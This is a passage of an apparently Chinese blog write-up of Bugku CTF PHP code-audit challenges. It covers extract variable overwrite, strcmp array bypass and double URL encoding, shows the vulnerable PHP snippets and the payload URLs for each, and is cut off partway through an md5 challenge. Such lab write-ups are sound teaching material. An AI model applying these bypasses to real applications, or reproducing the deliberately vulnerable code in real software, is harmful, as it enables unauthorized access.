BugkuCTF-代码审计

本文详细介绍了Bugku CTF中关于WEB安全的代码审计题目,包括利用变量覆盖、strcmp比较、urldecode绕过、md5函数、数组返回NULL、弱类型比较、sha函数、md5相等绕过、十六进制比较、变量覆盖、ereg正则截断、strpos数组绕过、数字验证正则和简单WAF等漏洞的解题思路和payload。通过这些例子,读者可以深入了解PHP安全相关知识。

BugkuCTF-WEB-第1题到第16题

https://ctf.bugku.com/challenges
这里整理了bugkuCTF- 代码审计的部分解法,部分题目已失效,很多题目有多种解法,想多了解更多的同学请搜索相关题目的wp,想学习更多的同学,欢迎去bugku新平台CTF论剑场https://new.bugku.com/
在这里插入图片描述

1.extract变量覆盖

http://123.206.87.240:9009/1.php

<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
   
   
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
   
   
echo'flag{xxx}';
}
else
{
   
   
echo'Oh.no';
}
}
?>

extract — 从数组中将变量导入到当前的符号表
isset — 检测变量是否已设置并且非 NULL
trim — 去除字符串首尾处的空白字符
file_get_contents — 将整个文件读入一个字符串

payload:http://123.206.87.240:9009/1.php?shiyan

2.strcmp比较字符串

http://123.206.87.240:9009/6.php

<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
   
   
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else
print 'No';
}
?>

strcmp — 二进制安全字符串比较

strcmp期望传入的类型是字符串类型的数据,要是我们传入非字符串类型的数据的话,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0 。也就是说虽然报了错,但却判定其相等了,也就绕过了判断。
传入数组绕过
payload:http://123.206.87.240:9009/6.php?a[]=1

3.urldecode二次编码绕过

http://123.206.87.240:9009/10.php

<?php
if(eregi("hackerDJ",$_GET[id])) {
   
   
echo("

not allowed!

");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
   
   
echo "
Access granted!

";
echo "
flag

";
}
?>

eregi — 不区分大小写的正则表达式匹配
urldecode — 解码已编码的 URL 字符串

将hackerDJ进行二次url编码
payload:http://123.206.87.240:9009/10.php?id=%25%36%38%25%36%31%25%36%33%25%36%42%25%36%35%25%37%32%25%34%34%25%34%41

4.md5()函数

http://123.206.87.240:9009/18.php

<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
   
   
if ($_GET['username'] == $_GET['password'])
print 'Your password can not be your username.';
else if (md5($_GET['username']) === md5($_GET['password']))
die('Flag: '.$flag);
else
print '
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值